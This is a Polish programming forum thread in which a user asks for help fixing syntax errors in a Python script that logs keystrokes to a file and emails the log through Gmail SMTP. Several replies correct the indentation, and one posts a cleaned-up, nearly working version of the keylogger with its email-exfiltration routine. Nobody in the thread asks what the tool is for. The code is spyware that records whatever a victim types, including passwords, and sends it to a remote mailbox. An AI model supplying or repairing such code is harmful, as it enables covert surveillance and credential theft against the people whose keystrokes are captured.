Python invalid syntax error przy kompilacji

0

Witam, podczas kompilacji kodu, wyskakuje error invalid syntax przy for string in . Wie ktoś jak to naprawić?

import threading
import os
import keyboard
import smtplib
from time import sleep


def wyslijzalacznik():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        for string in  //TUTAJ ERROR
        keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()
0

Po for string in nie może być znaku nowej linii.

0

Pokaż kod po "poprawce". Sprawdź, czy nie pomieszałeś tabów i spacji przy wcięciach.

0

I co tu zmienić? :p


import threading
import os
import keyboard
import smtplib
from time import sleep


def keylogger():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        
       for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

def sendmail():

        gmail_user="gmail"
        gmail_password="pass"
        FROM=gmail_user
        TO="gmail"
        Subject="jey"

        sleep(7.0)
        try:
                F=open("helloworld.txt","r")
                TEXT=F.read()
                message="""\From: %S
To: %S
Subject: %S
%S
"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
                     except:
        print "error"
        os.system("helloworld.txt")

while True:
 
    if __name__ == "__main__":
        
        key = threading.Thread(target=hellowr) #Tak wgl...
        mail = threading.Thread(target=sendmail)

 
        key.start()
        mail.start()
 
        key.join()
        mail.join()
                ```
2

powinno być w jednej lini, o tak:
for string in keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
ucięło mi wcięcie, ale wiadomo o co chodzi ;)

0

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
1

Kurcze a juz napisalem ze ta "poprawka" sie pewnie skonczyla na usunieciu komentarza ale usunalem bo nie chcialem byc zlosliwy ;)

1

Musisz popracować nad wcięciami, except musi być na tym samym poziomie, co porzedzające je try. Drugi try/except ma wcięte keywordy zamiast bloku pod nimi - powinno być na odwrót ;) try i except na równi z poprzednimi, a wszystko pod nimi wcięte o jeden poziom więcej.

1
supremeje napisał(a):

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()

Brak spacji po print, zla indentacja po try (ten try ma byc w except?) [zle wciecia w ogole*]

0

Dobra, może ktoś chciałby "przerobić" ten kod, aby działał i wysyłał na email? :p Bo coś czuję, że będzie jeszcze min.20 postów...

0

Z kodem wszystko chyba ok. Dodałem () w print "error" -print ("error") wszystko wyrównałem do lewej. Ale teraz po uruchomieniu Wyświetla mi się 2x error i nic nie dostaję na email......

0

Sluchaj Python wymusza po prostu poprawne wcinanie kodu. Podkresle poprawne, nie jakies specjalne czy magiczne a zwyczajnie poprawnie wiec napisz te wciecia tak jak normalnie powinny byc w kodzie i bedzie dzialac

0
import threading
import os
import keyboard
import smtplib
from time import sleep

FILE_NAME = "helloworld.txt"

def keylogger():
    CLEAR_ONSTARTUP = False
    TERMINATE_KEY = "enter"

    if CLEAR_ONSTARTUP:
        os.remove(FILE_NAME)
        
    with open(FILE_NAME, "a") as output:
        for string in keyboard.get_typed_strings(keyboard.record(until=TERMINATE_KEY)):
            output.write(string)

def sendmail():
    gmail_user = "login"
    gmail_password = "pass"
    FROM = gmail_user
    TO = ["[email protected]"]
    Subject = "test"

    try:
        f = open(FILE_NAME, "r")

        text = f.read()
        message = f'From: {FROM}\nTo: {", ".join(TO)}\nSubject: {Subject}\n{text}'

        
        try:
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.ehlo()
            server.starttls()
            server.login(gmail_user, gmail_password)
            server.sendmail(FROM, TO, message)
            server.close()

        except Exception as ex:
            print(ex)
    except:
        pass

while True:
    if __name__ == "__main__":

        key = threading.Thread(target=hellowr)
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()

jest cus takiego ale nie wiem czy dziala bo po pierwsze

key = threading.Thread(target=hellowr)

???
a po drugie cos mi sie gmail nie chce zalogowac a nie chce mi sie kombinowac

ogolnie to bardzo zle wciecia ale mniejsza...
albo jednak podam przyklad

 for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

wtf? zamykasz output w petli?

1 użytkowników online, w tym zalogowanych: 0, gości: 1